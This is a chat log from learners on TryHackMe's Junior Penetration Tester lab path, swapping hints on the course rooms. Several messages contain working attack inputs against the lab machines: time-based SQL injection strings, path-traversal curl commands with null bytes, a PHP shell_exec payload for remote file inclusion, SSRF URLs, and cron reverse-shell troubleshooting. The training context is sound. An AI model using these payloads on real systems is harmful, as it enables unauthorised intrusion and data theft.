junior-pentester-path

[elfin briar]

Anyone can help me?

[upbeat magnet]

damn, if this is introductory... some of these questions really make me question my abilities

[swift creek]

Worked for me. You sure you have the right flag? I know there were other flags that weren't the correct ones displayed when I did it

[elfin briar]

That room is more frustrating than fun. Theres multiple flags in the XHR...

[drifting drum]

It's not. It's an intermediate level pathway. It covers all the introductory material

' UNION SELECT SLEEP(5),2 FROM information_schema.tables WHERE table_schema = 'sqli_four' and table_name = 'users' and column_name like '%';--

SQL Injection task 8. Entering this is giving me an error. What am I doing wrong?

Nevermind

I'm beyond dumb

[upbeat magnet]

i'm gonna guess column_name, tho i haven't gotten to that point yet

[drifting drum]

No. You'll get there. I'm just dumb

[modest arch]

this room is actually good shit

now we repeat the room in burpsuite and we gold

[opaque zinc]

hey guys, quick question about SQL injection task 8. I found the answer but not the way I wanted to. I found the database's name by doing : || referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'sql__four%';-- || So then I moved to how to get the table's name. So far than I tried to do : || ' UNION SELECT SLEEP(5),2 FROM information_schema.tables WHERE table_schema = 'sql__four' and table_name like '%' ;-- || by doing so I was not even getting the 5sec timer . why ?

[modest arch]

check dms

[opaque zinc]

I then just basically guessed that the table's name was || users || anyway and then proceed to a boolean based injection but I would like to understand why I wasn't able to get the table's name tho

ok

[upbeat magnet]

ye got it. Wasn't used to SQL syntax yet

[jolly vine]

Anyone mind pointing me in right direction for Authentication Bypass Task 3? When I try to brute force username/password field, it only tests the first username I have in my list and not the others. I'm tempted to do only one at a time and change the list, but did anyone else figure out how it can test all of the usernames in the list?

[upbeat magnet]

did you verify the syntax of your ffuf command?

[jolly vine]

Yeah it's working. I see it testing the first username but the other 3 it doesn't. I've tried different delimiters with commas but it never goes to to next one. Just tries the username/pass combo of the first username

[upbeat magnet]

ah, maybe try putting the names in "valid_usernames.txt" in seperate lines

like
this
for>
example

[jolly vine]

Yeah I tried that first lol. Dang, is that what everyone else did??

[upbeat magnet]

idk, it's what i did

no commas or anything

[jolly vine]

Double checked it and still didn't work. Stops after testing the first username. I'm not sure at this point, I'll just remove the first username and keep going until I get it

Thanks for the help! @upbeat magnet

[next lance]

Gave +1 Rep to @upbeat magnet

[upbeat magnet]

oh well, good luck 😄

[jolly vine]

I figured it out! I guess something was up with the file. I'm guessing it was because I output my original ffuf command with the redirect operator into valid_usernames.txt When I went in to check on it the first time I had to clean stuff up because there were weird encoding thing's there. I deleted the file and put the usernames in there and everything worked.

[upbeat magnet]

aayyy! gj!

can't wait for you to join me on the challenges in "file inclusion" so we can suffer together

[drifting drum]

I did the first 2. I cannot for the life of me figure out the 3rd

[jolly vine]

Well I'm probably up all night, so I'm sure being super tired will make the suffering that much more enjoyable

[upbeat magnet]

well, i figured out what keys are allowed and the blacklisted ones, so that's a start

[drifting drum]

Oooo. How'd you manage that?

[upbeat magnet]

brute forcing it with everysingle key on my keyboard over and over again

[drifting drum]

I refuse

[upbeat magnet]

and checking upper and lowercase

i'll give a spoiler hint:

[drifting drum]

Please do

[upbeat magnet]

||basically nothing but lowercase keys work. try it out. only normal lowercase letters||

i'm trying to figure out how to:

1. bypass the blacklist or
2. navigate the directories with only those keys

[drifting drum]

If only lowercase letters work it's likely a whitelist

Not a blacklist

[upbeat magnet]

tru

but still, how do you bypass that

actually, i might have an idea, but it's super far fetched. I'll try it out after i sleep

[drifting drum]

Can someone give me a nudge for the 3rd LFI challenge?

[silk lynx]

Last flag on the Walking an Application room
I have "a" flag that is in the response header - but when entering it (manually and c/v) it errors on me - maybe too long in front of the screen today......

[undone mirage]

||Check all of the fields/sections in the right side. I had that issue too, but there’s another flag there besides the response.||

[silk lynx]

Yes sir - nudged in the appropriate direction - thank you (and a thank you to @jolly vine as well)

[next lance]

Gave +1 Rep to @undone mirage

[modest arch]

its something wrong with task 9 linux priv esc?

can't get the reverse in the cronjob

[charred wagon]

@modest arch same..i've been doing this for like an hour

i set it to do a basic task and doesn't seem like the job is working at all

[modest arch]

yeah..i tried a lot of things, and still no luck

maybe the test.py with a python3 reverse shell

i will try that in an hour or something xD

[charred wagon]

haha gl

[hollow zephyr]

Hi. The link https://lab_web_url.p.thmlabs.com/ isn't opening at all. Any clue what might be the problem?

PS: this is task1 of 'Walking an application' room

When I do a nslookup on thmlabs.com, it says can't find an answer

[modest arch]

hahahah

so that will update

when you've started your vulnerable machine

it should look like https://10.10.(number).(number).p.thmlabs.com

[modest arch]

Yeahhhh my mind has melted today

I've been tryharding it on and off since 9am and needless to say I'm exhausted, gonna hit the hay having done about 50% of the path today

recommended time to complete: ~50 hours 😂

[silk lynx]

It is not a straight copy and paste for the URL - review the source and look at the URL there for a possible thread to unravel

[glad anchor]

Hello i was doing jr pen test learning path in that module 2
Intro to web hacking i found 1 flag that never used

[charred wagon]

comes into play later

[dreamy sundial]

I was doing jr pen test stuck at lfi flag3 which doesn't accept any special char or number
A small hint please thanks

[glad anchor]

Ok ty

[crimson dawn]

Hlo I was doing walking an application room and stuck at task 3, 4th question which says what is the framework flag?

Any hint?

[winter perch]

In frameworks there are always some changelog and documentation, I recommend you to check them.

[crimson dawn]

Where are they?

[winter perch]

There is one url in source codes comment, related to thm check that URL

[noble rose]

LET'S GET DEM TICKETS

[modest arch]

did all the rooms, one away from pinneapple, throwback and ejpt 😦 rigged xD

[edgy axle]

Anyone try Windows PrivEsc room under junior pentester path https://tryhackme.com/room/winprivesc?

Am i overlook or the room missing cred? for task 2 - information - the machines does not have cred given ?
it said, task 2 machine is same as task 4 , i check on task 4, there is no initial cred given as well

[modest arch]

use the machine on task 5

to do the task 2

machine 5 sorry*

[fallen cove]

help me for doing so

or finding the answers

[edgy axle]

oh.... thankss 🙂

[dreamy sundial]

Guys small check here the last in XSS I am not getting response back from staff waited for long time, btw inwas able to get responce back from my own so that the payload works

[tawny flame]

@dreamy sundial I'm on the same step, getting the same issue. No response

[dreamy sundial]

@tawny flame let me know if anything comes up, will do the same

[tawny flame]

I'm trying both approaches, both with nc and with the THM Request catcher

[twilit chasm]

I’ve got the response but answer won’t submit

[tawny flame]

@twilit chasm have you decoded the response?

[twilit chasm]

Yeah

[dreamy sundial]

@twilit chasm if you open the ticket yourself you will get your session cookie

XD

Hope you dint do that

[tawny flame]

finally got the cookie

@twilit chasm remove the staff-session= from the answer

[modest arch]

https://cdn.discordapp.com/attachments/900296842166804562/900296859006930964/xdd.JPG

all path done, calling it a day, have fun guys!, no luck in tickets bastards xD!

if you guys need help just dm and will answer when i can

[dreamy sundial]

How long you waited

[tawny flame]

I opened up the ticket, just clicking around,

never got it with using netcat

[twilit chasm]

Opening the ticket only gives you your own cookie right?

[tawny flame]

yeah, but decode the cookie

and use that for the answer, after decoding it

[meager mauve]

Like yeah just getting pentester title and streak freeze tickets

2 rooms left only ,this path Only taught me how much unlucky im🙂

[dreamy sundial]

I did but dint work

[meager mauve]

Can u send how u r decoding it?

[twilit chasm]

Yeah I only get my own session cookie back when I open it but don’t get a response if I don’t open the ticket

[dreamy sundial]

Me 2

[twilit chasm]

I reset the box and got it first time

[sly fiber]

any progress on this question?

[coarse granite]

same thing, stuck there and I can't really think of a way to get around it rn

[sly fiber]

still no progress any hints for the filter bypass? i tried with encoding, doubling the path and back slash but still nothing

[dreamy sundial]

@sly fiber dm me

[hybrid raven]

guys i need help with authentication room task 4

[modest arch]

Can't access the acme it support site

The machine is running

[coarse granite]

Wait a bit. webserver need time to load

[modest arch]

It's not that bro, it's been working, and I reloaded and now it's not.

Ugh so annoying, I was just getting a good flow 🙂

[winter perch]

it's some issue there, do one thing terminate that and again start that then it should work I faced the same issue 2-3 times.

[modest arch]

Tried both firefox and chromium, been trying for 30-35 minutes now..

[queen marsh]

Task 3 of Authentication room, isn't showing valid creds

[cobalt tundra]

@modest arch are you using your own box + vpn?

[modest arch]

no vpn, just started the machine in the exercise

[cobalt tundra]

im talking about your way to access that machine, are you using the attackbox?

[modest arch]

No, there was no need to do so in the exercise before, and no instruction to do so in this one. I'll try it.

I was accessing it just fine through the browser @cobalt tundra

[cobalt tundra]

but you accessed only the previous one (walking an application) through the browser, not the next one (content discovery). correct?

[inland obsidian]

I have a doubt in introduction to web hacking module there is the room called authentication bypass where we are using ffuf for brute forcing

[smoky charm]

guys, have anyone got any problem submitting the last flag on the room walking an application

i found the flag, but it does not accept it

[inland obsidian]

And there is the syntax of ffuf like we are using valid_username.txt

But where is the valid_username.txt file?

[cobalt tundra]

not sure if theres a flag for ffuf to create it on its own, the output from the previous command was so short i just created it myself by hand

[inland obsidian]

Have you got that flag @cobalt tundra

[pseudo compass]

Hi All - I am just doing the Authentication Bypass room and I am on Task 3 in which I need to bruteforce with ffuf. I am running the command with the right syntax however no usernames / passwords are being displayed.

Anyone else had the same issue?

[modest arch]

you have to create the file with usernames that you've found

[pseudo compass]

I've done that

[inland obsidian]

Ohh thank you @modest arch

[next lance]

Gave +1 Rep to @livid drift

[modest arch]

can you take a screenshot?

[drifting drum]

Can someone give me nudge on lfi challenge 3

[modest arch]

I don't understand this sentence 😅

[pseudo compass]

Sorry. For some reason, I can't seem to upload the screenshot

[deft crater]

Can someone help me I'm on the File inclusion room at the challenge level, trying to get the first flag .I already tried a lot of things including what I think should get me the flag but it's not working. .

[dreamy sundial]

Did anyone get the 3 oscp tickets

[edgy axle]

should be straight forward
using curl with post, passing data in

[onyx plover]

I have exactly the same problem. First flag can't get it.

Tried with burp. When i change get to post response is the same

I added file as well. Not even a error

[drifting drum]

LFI*

[delicate trench]

need help in task 8 of sql injection

[delicate trench]

hey man do you found wt you did wrong

[edgy axle]

you have to use the task7 method combine with SLEEP(x)

[elder roost]

Stuck at same spot, task 8

[misty veldt]

Has anybody tried the curl-commands from "Authentication Bypass" task 5 lately? The description says curl -H "Cookie: logged=true; admin=false" [URL] should return "Logged In As User", but I get "Not Logged In" all the time. Tried multiple times, different machines, tripple-checked the IP every time. (Working from AttackBox)

[cobalt tundra]

my description says logged_in=true, typo on your side?

[onyx plover]

Finally. Open website with web developer tools / inspector (im using firefox). Then find form action method GET and change it to post. Then write in file name windows file you are looking for

[misty veldt]

No, I just checked again, it says "logged=true" in the assignment. But let me try this out with logged_in, brb.

[warm ledge]

That was the only way I was able to get it as well.

[modest arch]

I understood 😅

[mighty laurel]

"Principles Of Security" Room, Task 5.. I think the positions of Identification and Preparation in the diagram are inverted, what do you think ?

[edgy axle]

||curl -X POST HTTP-URL -d "file=../../../etc/flag1" | tee task8-flag1.txt||

[edgy axle]

this is another method

[misty veldt]

ok, it worked with logged_in. Thanks!

[next lance]

Gave +1 Rep to @cobalt tundra

[cobalt tundra]

maybe some older cached version or something

[edgy axle]

null byte

[warm ledge]

Lol just made realized I used the wrong curl switch

[edgy axle]

😅

[sage badge]

I'm having nightmares with File inclusion flag 3, everything I've tried out is filtered

[cobalt tundra]

then a browser might not be the right tool for the job

[royal hull]

thanks for that

[next lance]

Gave +1 Rep to @onyx plover

[delicate trench]

i got user and dbs names but havent solved task 8

[edgy axle]

have you get the password for the user?

[delicate trench]

nope

[edgy axle]

try to get the password? it will be the same on how to get username

[meager mauve]

Anyone here who completed windows and linux privilege escalation one?

[edgy axle]

[meager mauve]

U also stuck on these 2?

[edgy axle]

[edgy axle]

just finish

[meager mauve]

Can u help me with linux privsec with tht cronjobs parts?

Its not triggering my reverse shell or any other command in backup.sh

[edgy axle]

you will need to put the script in the right directory

[meager mauve]

In home?

[edgy axle]

if i recalled, the script is right at the home of user

just ensure your reverse shell script does include shebang line

[rough ore]

Stuck at flle inclusion challenges any help? flag1 no luck POST /challenges/chall1 no luck with chall1../../../etc/flag1 no luck

[unkempt root]

See the error, the function may be adding something at the end you can remove with a special byte. Solution: || null bute %00 ||

[noble swift]

Check the permissions!

[edgy axle]

[rough ore]

ye its 2 lab im stuck at first it says change method to post The input method is broken You need to sende POST with file parameter,i tried with burp nothing

[unkempt root]

1st challenge requires apart from changing the method to POST to add that special byte at the end of the ../../../etc/flag1

[modest arch]

I must be blind as I can't find some flags

and its so simple I feel stupid for not finding it

[slender pivot]

Looks like file inclusion is getting to us all

Stuck on Challenge 2 now..

[unkempt root]

Want a hint for 2nd challenge?

[slender pivot]

I imagine its related to changing the cookie value?

[unkempt root]

It's the 3rd one that's mindbreaking

[unkempt root]

Yes

[rough ore]

POST /challenges/chall1.php?file-file../../../etc/flag1%00 Nothong

[slender pivot]

ive changed it and got presented with the admin page, stuck there

[unkempt root]

Are you doing via curl or modifying the page source?

[rough ore]

with burp

[unkempt root]

I did it modifying the page source and I had no problems

[unkempt root]

Although here it's should be file=../../../(...)

[unkempt root]

Check the response, maybe the cookie value is been used as another thing apart of checking which user you are

[slender pivot]

like a burp response?

Welcome admin
This is a admin web page! Get the flag!

[opal stirrup]

I just got the 3 LFI challenges done. Any tips/resources for RFI? Not sure where to start

[modest arch]

i had a leftover flag from a task, weird

[rough ore]

Post /challenges/chall1.php?file=../../../etc/flag1 Nothing

[royal hull]

got the same

[slender pivot]

hit a brick wall after that stage

[unkempt root]

Null byte is missing now

[rough ore]

even curl curl -v http://ip/challenges/chall1.php -X POST -d 'file=/etc/flag1%00' -o flag1.txt

[modest arch]

Found out the flag i got was for a later task, somehow got it before i had to

[rough ore]

no with null not working

[unkempt root]

I don't remember if there was an error msg after that but here is a bigger hint: ||cookies can also have lfi vulnerabilities||

[unkempt root]

The ../ are missing, try modifying the page source code, its much much simpler. You may also want to capture it with burp so in case you miss the first one you can repeat it with the repeater

[unkempt root]

Can you halp me with the 3rd one? I can help you with the RFI

[modest arch]

I am not sure on how to bypass the filter on the 3rd challenge

[opal stirrup]

||I got it with curl and POST||

[edgy axle]

just need curl to output to stdout

[unkempt root]

It was much simpler than I thought xD for RFI: ||you can include files form other servers so setup an http server on your machine with a txt file with the malicious php code|| if you need more help you can dm me

[slender pivot]

Thanks, i've tried changing the value to ../../ ect but it just increments the directory. i've tried changing the Path for the cookie but that just generates a new one. I can only assume its the Value filter only that needs changing

[next lance]

Gave +1 Rep to @unkempt root

[meager mauve]

It have tht line

[edgy axle]

then the permission, as fellow mate mentioned
no execute right

[unkempt root]

You must take into account that the include function is already inside a directory || so instead of 3 ../ you'll need 4 ../ ||

[slender pivot]

😫 it was literally that I missed

tyvm for the help, got it now

[unkempt root]

ur welcome 🙂

[rough ore]

nothing workin can you give me the answer plz for lab1

[unkempt root]

1 sec, I'll send it to you via dm

[drifting drum]

Can you give me a nudge as well?

[modest arch]

lucky title?

oh no, everyone has it 😂

[cobalt tundra]

do you have to do something to "activate" the title?

[winter perch]

does any one got the OSCP ticket even single time?

[slender pivot]

Go to your tickets, if you have 3 you can active the prize

[cobalt tundra]

ye, i activated it, it just doesnt show up/change

[warm ledge]

Anyone have any hints for flag 3 of LFI?

[cobalt tundra]

there was a popup after activating it, but i clicked it away without reading :)

[winter perch]

that enough

[onyx plover]

||post||

[cobalt tundra]

huh, i took a different approach to flag3

||i gave up with FF and went the cli-route||

[rough ore]

guys need answer plz LFI2 Try out Lab #6 and read /etc/os-release. What is the VERSION_ID value?

[modest arch]

Is there a way to kill all current running machines on the homepage?

[cobalt tundra]

#general message
Had the same question earlier

seems like quite the unintuitive and hacky way

[short vault]

Nope

[cobalt tundra]

i got 1/3 OSCP

[faint cave]

any help with LFI flag 2? using curl
nothing is working, just like the flag 1

[rough ore]

THM=../../../../etc/flag2%00

guys how can you get
Gain RCE in Lab #Playground /playground.php with RFI to execute the hostname command. What is the output?

[onyx plover]

||You follor rfi guide. You need a file and server||

[rough ore]

i made this and nothing cmd.txt --> '<?php echo shell_exec('hostname');?>'

'python3 -m http.server 8080'

input: 'http://10.10.153.7:8080/cmd.txt'

[opal stirrup]

Yeah I'm having a little trouble with that too, I've got my file uploaded but it doesn't seem to do anything when I inject the URL. I even tried the Hello THM code from the RFI example and that doesn't seem to work either

[verbal temple]

Can u help me for LFI room ?

[cedar meteor]

Twice

[winter perch]

nice, all boxes done or some left?

[cedar meteor]

3 left, I think

[modest arch]

I don't know what im doing wrong with the Logic Flaw task

ive done everything it asks, but cant get a flag

[rough ore]

curl -v http://ip/challenges/chall3.php -X POST -d 'file=/etc/flag3%00' -o flag3.txt

[tawny flame]

My machines in the JPP keeps timing out, anyone else that has that problem?

[modest arch]

not working

i feel stupid for not working this out

[tawny flame]

Don't feel stupid @modest arch I'm in the same spot 🙂

[cobalt bramble]

For task 3 question 3 of walking an application from what I can tell I'm supposed to open a directory in the web browser to find the file. How do I do that. Brand new to this

[modest arch]

on Authentication Bypass?

[tawny flame]

on the LFI flag3 task

[modest arch]

ah

this be causing me a headache ngl

[buoyant dagger]

Add to the URL

[modest arch]

can i get a hint on how to get to roberts support ticket

been reading through the page and trying anything i can think of

[cobalt tundra]

2/3 now

[hexed coral]

Anyone currently doing LinuxPrivesc module?

Crontab is not running every minute as stated....

[cobalt bramble]

@buoyant dagger sorry if I'm not supposed to ask but for clarification I am not sure what to add and I do not know what a directory listing is. I've tried adding /directory. /file.txt. to the home page and to page source

[loud spire]

What is the directory listing flag?

how to find it

[bitter plank]

Need help in this one…. Any suggestions,

[knotty belfry]

Check the images in the page source, you might have missed something

[loud spire]

how to list out directories

[buoyant dagger]

You can use gobuster for that

[modest arch]

and man/tldr can help with gobuster

[slender pivot]

gobuster/dirb/dirbuster

[bitter plank]

Stuck in this “Burp Suite: Repeater”😑 suggestions are welcome

[buoyant dagger]

dirbuster is old. Not recommended

[opal stirrup]

Man, I can't get this RFI example to work even. I've got my HTTP server up and I can see the site making the GET requests but it's not printing anything...

[hexed coral]

Why this crontab not running -.-

Driving my insane

[slender pivot]

lookup php passthru for the php .txt file on your machine

[crimson lark]

is anyone stuck on the file inclusion challenges????

[slender pivot]

Read up a bit in the chat, loads of us were stuck earlier and there's some good hints

[charred wagon]

check permissions of your script

[bitter plank]

Stuck in this “Burp Suite: Repeater”😑 how to get 500 internal server I’m getting 404 after messing with numbers

[slender pivot]

Maybe your numbers are going the wrong way? 😉

[full escarp]

how long does this take to give the right cookie

[buoyant dagger]

You have to do it blind folded

[bitter plank]

Any suggestions… ¿ I tried every single fucking way 😵‍💫

[full escarp]

will this work if i add some php file like cookie grabber or its still the same with the given payload there

[visual shard]

i cant remember what eventually worked for me but i remember trying some under 0 some above 999 and even some non-numbers and eventually got it

[cobalt tundra]

misread your question, it should be instantly

no php required, all you need is already in the description

[full escarp]

i can get response if i click the request ticket so i guess my payload was wrong

[cobalt bramble]

@knotty belfry Thank you for the help, I still don't know what to do with the info you have given me. I think its safe to assume my current level of knowledge is not up to this learning path yet. What paths should I be able to do first so I can complete these?

[next lance]

Gave +1 Rep to @knotty belfry

[surreal narwhal]

@cobalt bramble start with pre-security then complete beginner and then web fundamentals

[crimson lark]

Please give me a hint on question 2. I have all the others done and I don't see it brought up in the past

[cobalt bramble]

@surreal narwhal Thank you. I'm on the tail end of Pre security now

[digital pendant]

Hey, im stuck since 1hour on this question in the Local File Inclusion room, challenge 1, can anyone help?
I tried to modify the GET request to POST and tried path traversal ... nothing works

[knotty belfry]

Yep, come back to it in a couple hours or a day so you have a fresh look and keep my hint in mind, it will dawn on you, I'm sure of it. As the saying goes, try harder!

[crimson lark]

Thank you! Not sure I would have ever tried that.

[next lance]

Gave +1 Rep to @steel nymph

[crimson lark]

I would recommend using curl.

[digital pendant]

holy shit i got it

@crimson lark thanks, i didn't use curl, i just realised i hat one "../" too less

[next lance]

Gave +1 Rep to @crimson lark

[digital pendant]

such a stupid mistake

[charred wagon]

if it makes you feel better i've used curl, burpe and dev mode and still haven't figured it out.

[crimson lark]

Were you editing burp?

[indigo axle]

hi, all on the linux priv esc module - priv esc sudo task.... there is no gcc available to compile the code.

[charred wagon]

@indigo axle do it on your attack platform. I assume your talking about the one with mounted shares

[digital pendant]

@crimson lark @charred wagon no, you don't need burp, you need to edit the form in dev mode, the method and the action

[full escarp]

got it thanks just need to use attack box

[next lance]

Gave +1 Rep to @cobalt tundra

[charred wagon]

@digital pendant this one is making me feel dumb

[indigo axle]

its the LD preload section (Privilege Escalation: Sudo) im doing it on my own box

( i ssh as "karen" into the victim box)

[crimson lark]

I'm right there with yah

[drifting drum]

Compile the script on your own kali machine and then transfer it iver with an http server and wget

[charred wagon]

honestly a few of these had base64 with suid bit set and i just used that where i could

[indigo axle]

ok brill thank you @drifting drum

[next lance]

Gave +1 Rep to @drifting drum

[drifting drum]

Yea. Same here

Lol

[digital pendant]

@charred wagon i wrote you a pm

[crimson lark]

I've edited the method to post and change the file to the path. What am I missing?

[crimson lark]

Could you copy me in that

[digital pendant]

idk if this is allowed?

[crimson lark]

What do you mean?

[modest arch]

same haha

[digital pendant]

@crimson lark you can ask @charred wagon , i just showed him

[nimble turtle]

can any one help me with this i am unable to find it in th path

[modest arch]

/h...

[nimble turtle]

https://tryhackme.com/room/linprivesc
TASK 10

[robust steeple]

I think it's a known issue.

[loud spire]

curl https://static-labs.tryhackme.cloud/sites/favicon/images/favicon.ico | md5sum

how to know the framework of favicon

??

[severe atlas]

use the site in the task

[loud spire]

..

the link is of the website itself

ok

[modest arch]

+1

[loud spire]

got the answer

[hexed coral]

@nimble turtle mind if i dm

[wicked fulcrum]

I need gentle hint on room SQL Injection for Task8

[twilit chasm]

On Linux privesc NFS room does it matter which one you mount?

[wicked fulcrum]

I am getting OK for all the query execution. I am referring to TASK7

[nimble turtle]

You can dm me

[modest arch]

curl the only way or can you do it with dev tools or brup ?

[modest arch]

worked for me

Must be doing something very wrong then

with dev tools the null byte won't work. thats why i'm wondering

[uneven niche]

do you know if the task 9 is working properly ? cron job didn't seems to run, 0 reverse shell tried also with the .py file same

[modest arch]

k will check that

[dusty iris]

gotta say I love this path

[uneven niche]

• the linux prive esc tab is saying "connection error try again in 15" i've already rebooted the thing but same issue if anyone have an idea

[dusky saddle]

just try to ssh

[uneven niche]

ssh is working fine

but crons seems stuck

[dusky saddle]

same for me lol

[robust steeple]

...it worked for me

[uneven niche]

damn @robust steeple by bash or python ?

i've tested 3 bash reverse shells no one seems working

thats why i think than the crons are down ^^'

[twilit chasm]

which cronjob you trying? it worked on one for me but not the other

[uneven niche]

bash backup + created the .py file

in /tmp

[twilit chasm]

pretty sure thats how i did it

[uneven niche]

hummm you used the revershell provided in the course or an other one ?

[twilit chasm]

yeah the python revshell

[robust steeple]

This is probably a dumb question. But is there any reason you have to wait for the cronjob to run? Can you manually run it?

[charred wagon]

check your permissions

[idle bison]

You could manually run it but you'd get the same privs you already have

[robust steeple]

I'm not sure I've completed this task the intended way.

[mortal cradle]

Im struggling with the file inclusion challenges

👍 ill look up

[uneven niche]

@robust steeple you can but the main goal here is to make run the cron by the root this way when the reverse shell will pop you will be logged as root

[robust steeple]

Yeah, I got root another way apparently. Thanks though.

[opal stirrup]

Anyone know why the RFI wouldn't work in my kali VM but worked perfect in THM's kali box?

[mortal cradle]

never mind

it was me being dumb

[dreamy sundial]

Is there anyone who relay got any vouchers for ejpt or oscp

[sly fiber]

nah man ig they desined it for not to achieve it

done %69 and after a while it started to give same bad thing like title and freeze

[modest arch]

same here

and I have just 2 rooms left

[sly fiber]

at the begining it was nice but afterwards they dont give a damn thing

[modest arch]

the linux/win priv esc

[sly fiber]

so sad rlly

[dreamy sundial]

Ya for me too

Sad

[sly fiber]

we got scammed ig

[dreamy sundial]

I am at 50 per with 2 oscp tokens

This sucks

[sly fiber]

yeah me too

[dreamy sundial]

They shouldn't do this

[sly fiber]

stuck with 2

yeah me too

1 hak5 1 ejpt

[dreamy sundial]

XD

[modest arch]

i also got 2 on all the nice ones

that was by the moment I got 50% rooms

[sly fiber]

good luck man

[modest arch]

after that ... just small vouchers, duplicates and so on

[dreamy sundial]

All I am geting that stupid pentester badge

[sly fiber]

prob not gonna get anything but good luck

[sly fiber]

exactly

[modest arch]

if you look ... no one officially won those nice prices

[sly fiber]

no swag discounts

[modest arch]

which is super super strange

according to the rules ... there are even chances

[sly fiber]

i think we must wait till the end

[dreamy sundial]

$7k it seems

[sly fiber]

i think we must wait till the end

[dreamy sundial]

Ya let's see

[sly fiber]

studied the content for nearly 10 hours

[modest arch]

waiting or not ... it is not stated that they release them daily or something like that

yeah, at least the path was a big push in learning 😄

that's the great win for all of us

[sly fiber]

yeah but maybe they are planning to do so

imo didnt learn too much only small details

didnt learn such a mind blowing knowledge except for burp macros

[rough ore]

guys can you give me anwer of SSRF Examples Task 2

[dreamy sundial]

Dude you can't ask for ans in here

Let kknow where you are struggling

[sly fiber]

maybe thats way they dont give it this easily

to eliminate the voucher hunters only looking for vouchers without understanding or working on the topic

[rough ore]

cool story kid

[sly fiber]

i dont say you are one no offense

just got me thinking

[rough ore]

im stuck at https://server.website.thm/flag?id=9&x= thats not working

[sly fiber]

good question kid

[opal stirrup]

I got emailed a swag discount

[rough ore]

same 3%

[violet pebble]

Guys in the SQL Injection task 8 ... I am not getting an answere

[drifting drum]

You're gonna have to give more info than that

There's a multitude if reasons that could cause it to not work

[violet pebble]

referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'u%';--

[fossil charm]

Follow the enumeration of task 7

[violet pebble]

every combination of % is giving me true

[fossil charm]

This hint its wrong follow the paths of task 7

[violet pebble]

okay !! let me try

[fossil charm]

Same but with sleep

[drifting drum]

Because admin123 isn't your referer. Reload the page and look at what the referer is supposed to be

[violet pebble]

tryhackme

[drifting drum]

Yea. So swap what disebt belong, with what does belong, and then that hint will get you started

[violet pebble]

referrer=tryhackme.com' UNION SELECT SLEEP(5),2 where database() like 'u%';--

so the final sql querry ::

select * from analytics_referrers where domain='tryhackme.com' UNION SELECT SLEEP(5),2 where database() like 'u%';--' LIMIT 1

still executes in 0.001

[drifting drum]

Well, that exact query won't work. Because the database name dosebt start with a u. Now follow the enumeration process detailed in task 7

[violet pebble]

right from a !!

okay

getting there ....

[quaint wagon]

Sorry to butt in but can anoyone help me with the Linux PrivEsc room? crontab reverse shell just will not connect.

[coarse marsh]

Same here!

[drifting drum]

It'll take a while

[drifting drum]

I haven't gotten there yet

[violet pebble]

referrer=tryhackme.com' UNION SELECT SLEEP(5),2 where database() like 'sqli_four%';--

[dire perch]

Need some help with LFI flag 2. Got 1,3,4, but 2 is killing me. I have ||Curl -X POST -d 'file=../../../../etc/flag2%00' http://IP/challenges/chall2.php -H "Cookie: THM=admin"|| ... all I get is "This is a admin web page! Get the flag!"

[upbeat magnet]

ok, you're halfway there. ||now play with the cookie value a bit more. See what happens if you add stuff after admin||

[quaint wagon]

@coarse marsh Most frustrating crontab exercise I have done.

[coarse marsh]

Absolutely, i've been stuck since yesterday, tried a lot of things with no results.

[quaint wagon]

Have you tried the TryHackMe request catcher or attackbox? I had a similar issue on VPN a few days ago

[coarse marsh]

i don't think it's a vpn issue, i tried to get a normal reverse shell and it worked, the problem is with crontabs i think.

[dire perch]

@upbeat magnet Got it, thank you!

[next lance]

Gave +1 Rep to @upbeat magnet

[quaint wagon]

https://tenor.com/view/hackers-hacker-crap-gif-13228159

[sturdy lintel]

Hello Everyone, I am stuck on Task 8 of https://tryhackme.com/room/xssgi. I enetered the payload and started a listener, but my browser is failing to execute fetch. Any ideas what to do? 🙂 Cheers

[violet pebble]

did not get it yet

I tried !!

[fiery dirge]

I was having trouble with it earlier, might have to do with the VPN and/or Firefox. Try using the AttackBox instead, it worked for me

[digital pendant]

anyone got a hint for file inclusion lab3 ?

[quaint wagon]

I got it! I am not sure what was the fix but message me if you want

[sturdy lintel]

Thank you for advice, but I found the problem was that I left the IP inside {} 🤷‍♂️

[next lance]

Gave +1 Rep to @fiery dirge

[noble rose]

Hey guys, im doing the inclusion lab 1

I understood the concept in my head but i just can't seem to know what to right

Im stuck

[drifting drum]

Dm me if you need help

[noble rose]

Sure

[digital pendant]

im stuck on the lab3 in file inclusion, anyone got a hint for me?

[hollow acorn]

Hey guys, I'm trying to do task two of the SSRF room and the example is just different enough from the task that I cannot wrap my brain around it. Any hints would be great

[hollow acorn]

Task 6 of the same room may have the answer you're looking for

[digital pendant]

@hollow acorn yeah but i don't have a webserver to host the file?

[hollow acorn]

I would look up how to set up a temporary web server using the command line

[digital pendant]

i just got it with curl 😄

[hollow acorn]

Awesome!

[digital pendant]

@hollow acorn Thank you!

[next lance]

Gave +1 Rep to @hollow acorn

Gave +1 Rep to @hollow acorn

Gave +1 Rep to @hollow acorn

Gave +1 Rep to @hollow acorn

Gave +1 Rep to @hollow acorn

[opal stirrup]

Take a really close look at part 4 and the hint

Your input is going to be structured similarly

[hollow acorn]

If I add my input to the end, it attempts to reach for both item 2 and the flag. Do I insert my command before item 2 or can i enter the command after?

[eager blaze]

Hey so I'm stuck on task 5 of the Linux Privesc room. I can't use nano or wget to the get the kernal explotation code on the target machine. Has anyone else had this issue or am I missing something?

[drifting drum]

Wget should work just fine

If it's not, you're doing something wronf

Wrong*

[opal stirrup]

||After, and you need to use &x= at the end||

[fiery dirge]

That’ll do it

[digital pendant]

anyone wanna do the File Inclusion Playground?

[drifting drum]

Compared to the LFI challenges, the playground challenge is easy

[eager blaze]

"$ wget 10.9.5.54:8000/LinPEAS.sh
--2021-10-20 16:25:49-- http://10.9.5.54:8000/LinPEAS.sh
Connecting to 10.9.5.54:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 459310 (449K) [text/x-sh]
LinPEAS.sh: Permission denied

Cannot write to ‘LinPEAS.sh’ (Permission denied)."

[hollow acorn]

This is what I have "https://website.thm/item/2?server=api.website.thm/flag?id=9&x=". When I enter that I get an error stating 504 Gateway Timeout. What do I need to modify in the url to get it to work?

[eager blaze]

thats the error I keep getting when using wget

[drifting drum]

You can't write to the directory you're in.

Try moving to /tmp

[opal stirrup]

Take another look at the URL you're trying to get to

[eager blaze]

That worked, I'm an idiot lol. Thank you!

[hollow acorn]

I modified it to api.server.website.thm but that didnt work either?

